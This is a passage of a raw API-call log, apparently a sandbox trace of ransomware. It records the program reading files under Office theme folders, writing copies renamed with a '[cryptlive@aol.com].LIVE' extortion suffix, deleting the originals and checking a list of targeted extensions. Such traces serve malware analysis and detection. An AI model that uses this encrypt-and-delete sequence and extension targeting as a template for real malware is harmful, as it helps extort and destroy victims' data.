nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0049.537] SetEndOfFile (hFile=0x1f8) returned 1 [0049.537] CloseHandle (hObject=0x1f8) returned 1 [0049.538] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.538] SetEndOfFile (hFile=0x184) returned 1 [0049.538] CloseHandle (hObject=0x184) returned 1 [0049.538] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0049.539] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif")) returned 1 [0049.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0049.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0049.539] lstrlenW (lpString=".doc") returned 4 [0049.539] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0049.539] lstrlenW (lpString=".docx") returned 5 [0049.539] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0049.539] lstrlenW (lpString=".pdf") returned 4 [0049.539] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0049.539] lstrlenW (lpString=".xls") returned 4 [0049.539] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0049.539] lstrlenW (lpString=".xlsx") returned 5 [0049.539] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0049.539] lstrlenW (lpString=".ppt") returned 4 [0049.539] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0049.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0049.539] lstrlenW (lpString=".zip") returned 4 [0049.539] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0049.539] lstrlenW (lpString=".rar") returned 4 [0049.539] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0049.539] lstrlenW (lpString=".bz2") returned 4 [0049.539] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0049.539] lstrlenW (lpString=".7z") returned 3 [0049.539] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0049.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0049.539] lstrlenW (lpString=".dbf") returned 4 [0049.540] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0049.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0049.540] lstrlenW (lpString=".1cd") returned 4 [0049.540] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0049.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0049.540] lstrlenW (lpString=".jpg") returned 4 [0049.540] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0049.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0049.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0049.540] lstrlenW (lpString=".doc") returned 4 [0049.540] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0049.540] lstrlenW (lpString=".docx") returned 5 [0049.540] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0049.540] lstrlenW (lpString=".pdf") returned 4 [0049.540] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0049.540] lstrlenW (lpString=".xls") returned 4 [0049.540] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0049.540] lstrlenW (lpString=".xlsx") returned 5 [0049.540] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0049.540] lstrlenW (lpString=".ppt") returned 4 [0049.540] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0049.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0049.540] lstrlenW (lpString=".zip") returned 4 [0049.540] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0049.540] lstrlenW (lpString=".rar") returned 4 [0049.540] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0049.540] lstrlenW (lpString=".bz2") returned 4 [0049.540] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0049.540] lstrlenW (lpString=".7z") returned 3 [0049.540] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0049.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0049.540] lstrlenW (lpString=".dbf") returned 4 [0049.540] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0049.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0049.540] lstrlenW (lpString=".1cd") returned 4 [0049.540] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0049.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0049.541] lstrlenW (lpString=".jpg") returned 4 [0049.541] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0049.541] lstrcmpiW (lpString1=".PNG", lpString2=".LIVE") returned 1 [0049.541] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0049.541] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0049.888] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=32607) returned 1 [0049.898] CloseHandle (hObject=0x184) returned 1 [0049.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png")) returned 0x20 [0049.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0049.898] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0049.899] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.899] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.899] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0049.899] GetLastError () returned 0x0 [0049.899] ReadFile (in: hFile=0x184, lpBuffer=0x35f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesRead=0x2c8fed4*=0x7f5f, lpOverlapped=0x0) returned 1 [0049.901] WriteFile (in: hFile=0x15c, lpBuffer=0x35f0020*, nNumberOfBytesToWrite=0x7f60, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x7f60, lpOverlapped=0x0) returned 1 [0049.902] ReadFile (in: hFile=0x184, lpBuffer=0x35f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.902] WriteFile (in: hFile=0x15c, lpBuffer=0x35f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.903] SetEndOfFile (hFile=0x15c) returned 1 [0049.903] CloseHandle (hObject=0x15c) returned 1 [0049.904] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.904] SetEndOfFile (hFile=0x184) returned 1 [0049.905] CloseHandle (hObject=0x184) returned 1 [0049.905] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0049.905] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png")) returned 1 [0049.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0049.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0049.905] lstrlenW (lpString=".doc") returned 4 [0049.905] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0049.905] lstrlenW (lpString=".docx") returned 5 [0049.906] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0049.906] lstrlenW (lpString=".pdf") returned 4 [0049.906] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0049.906] lstrlenW (lpString=".xls") returned 4 [0049.906] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0049.906] lstrlenW (lpString=".xlsx") returned 5 [0049.906] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0049.906] lstrlenW (lpString=".ppt") returned 4 [0049.906] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0049.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0049.906] lstrlenW (lpString=".zip") returned 4 [0049.906] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0049.906] lstrlenW (lpString=".rar") returned 4 [0049.906] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0049.906] lstrlenW (lpString=".bz2") returned 4 [0049.906] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0049.906] lstrlenW (lpString=".7z") returned 3 [0049.906] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0049.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0049.906] lstrlenW (lpString=".dbf") returned 4 [0049.906] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0049.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0049.906] lstrlenW (lpString=".1cd") returned 4 [0049.906] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0049.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0049.906] lstrlenW (lpString=".jpg") returned 4 [0049.906] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0049.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0049.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0049.906] lstrlenW (lpString=".doc") returned 4 [0049.906] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0049.906] lstrlenW (lpString=".docx") returned 5 [0049.907] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0049.907] lstrlenW (lpString=".pdf") returned 4 [0049.907] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0049.907] lstrlenW (lpString=".xls") returned 4 [0049.907] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0049.907] lstrlenW (lpString=".xlsx") returned 5 [0049.907] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0049.907] lstrlenW (lpString=".ppt") returned 4 [0049.907] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0049.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0049.907] lstrlenW (lpString=".zip") returned 4 [0049.907] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0049.907] lstrlenW (lpString=".rar") returned 4 [0049.907] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0049.907] lstrlenW (lpString=".bz2") returned 4 [0049.907] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0049.907] lstrlenW (lpString=".7z") returned 3 [0049.907] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0049.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0049.907] lstrlenW (lpString=".dbf") returned 4 [0049.907] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0049.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0049.907] lstrlenW (lpString=".1cd") returned 4 [0049.907] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0049.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0049.907] lstrlenW (lpString=".jpg") returned 4 [0049.907] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0049.907] lstrcmpiW (lpString1=".PNG", lpString2=".LIVE") returned 1 [0049.908] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0049.908] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0050.378] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=25106) returned 1 [0050.378] CloseHandle (hObject=0x200) returned 1 [0050.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png")) returned 0x20 [0050.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0050.378] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0050.378] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.378] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.378] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0050.379] GetLastError () returned 0x0 [0050.379] ReadFile (in: hFile=0x200, lpBuffer=0x35f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesRead=0x2c8fed4*=0x6212, lpOverlapped=0x0) returned 1 [0050.525] WriteFile (in: hFile=0x1e4, lpBuffer=0x35f0020*, nNumberOfBytesToWrite=0x6220, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x6220, lpOverlapped=0x0) returned 1 [0050.528] ReadFile (in: hFile=0x200, lpBuffer=0x35f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.528] WriteFile (in: hFile=0x1e4, lpBuffer=0x35f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0050.528] SetEndOfFile (hFile=0x1e4) returned 1 [0050.528] CloseHandle (hObject=0x1e4) returned 1 [0050.529] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.529] SetEndOfFile (hFile=0x200) returned 1 [0050.530] CloseHandle (hObject=0x200) returned 1 [0050.530] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0050.530] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png")) returned 1 [0050.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0050.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0050.531] lstrlenW (lpString=".doc") returned 4 [0050.531] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0050.531] lstrlenW (lpString=".docx") returned 5 [0050.531] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0050.531] lstrlenW (lpString=".pdf") returned 4 [0050.531] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0050.531] lstrlenW (lpString=".xls") returned 4 [0050.531] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0050.531] lstrlenW (lpString=".xlsx") returned 5 [0050.531] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0050.531] lstrlenW (lpString=".ppt") returned 4 [0050.531] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0050.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0050.531] lstrlenW (lpString=".zip") returned 4 [0050.531] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0050.531] lstrlenW (lpString=".rar") returned 4 [0050.531] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0050.531] lstrlenW (lpString=".bz2") returned 4 [0050.531] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0050.531] lstrlenW (lpString=".7z") returned 3 [0050.531] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0050.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0050.531] lstrlenW (lpString=".dbf") returned 4 [0050.531] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0050.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0050.531] lstrlenW (lpString=".1cd") returned 4 [0050.531] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0050.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0050.532] lstrlenW (lpString=".jpg") returned 4 [0050.532] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0050.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0050.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0050.532] lstrlenW (lpString=".doc") returned 4 [0050.532] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0050.532] lstrlenW (lpString=".docx") returned 5 [0050.532] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0050.532] lstrlenW (lpString=".pdf") returned 4 [0050.532] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0050.532] lstrlenW (lpString=".xls") returned 4 [0050.532] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0050.532] lstrlenW (lpString=".xlsx") returned 5 [0050.532] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0050.532] lstrlenW (lpString=".ppt") returned 4 [0050.532] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0050.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0050.532] lstrlenW (lpString=".zip") returned 4 [0050.532] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0050.532] lstrlenW (lpString=".rar") returned 4 [0050.532] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0050.532] lstrlenW (lpString=".bz2") returned 4 [0050.532] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0050.532] lstrlenW (lpString=".7z") returned 3 [0050.532] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0050.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0050.532] lstrlenW (lpString=".dbf") returned 4 [0050.532] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0050.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0050.532] lstrlenW (lpString=".1cd") returned 4 [0050.532] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0050.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0050.533] lstrlenW (lpString=".jpg") returned 4 [0050.533] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0050.533] lstrcmpiW (lpString1=".PNG", lpString2=".LIVE") returned 1 [0050.533] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0050.533] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0050.541] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=60724) returned 1 [0050.541] CloseHandle (hObject=0x200) returned 1 [0050.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png")) returned 0x20 [0050.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0050.541] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0050.541] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.541] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.541] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0050.542] GetLastError () returned 0x0 [0050.542] ReadFile (in: hFile=0x200, lpBuffer=0x35f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesRead=0x2c8fed4*=0xed34, lpOverlapped=0x0) returned 1 [0050.551] WriteFile (in: hFile=0x1e4, lpBuffer=0x35f0020*, nNumberOfBytesToWrite=0xed40, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xed40, lpOverlapped=0x0) returned 1 [0050.553] ReadFile (in: hFile=0x200, lpBuffer=0x35f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.553] WriteFile (in: 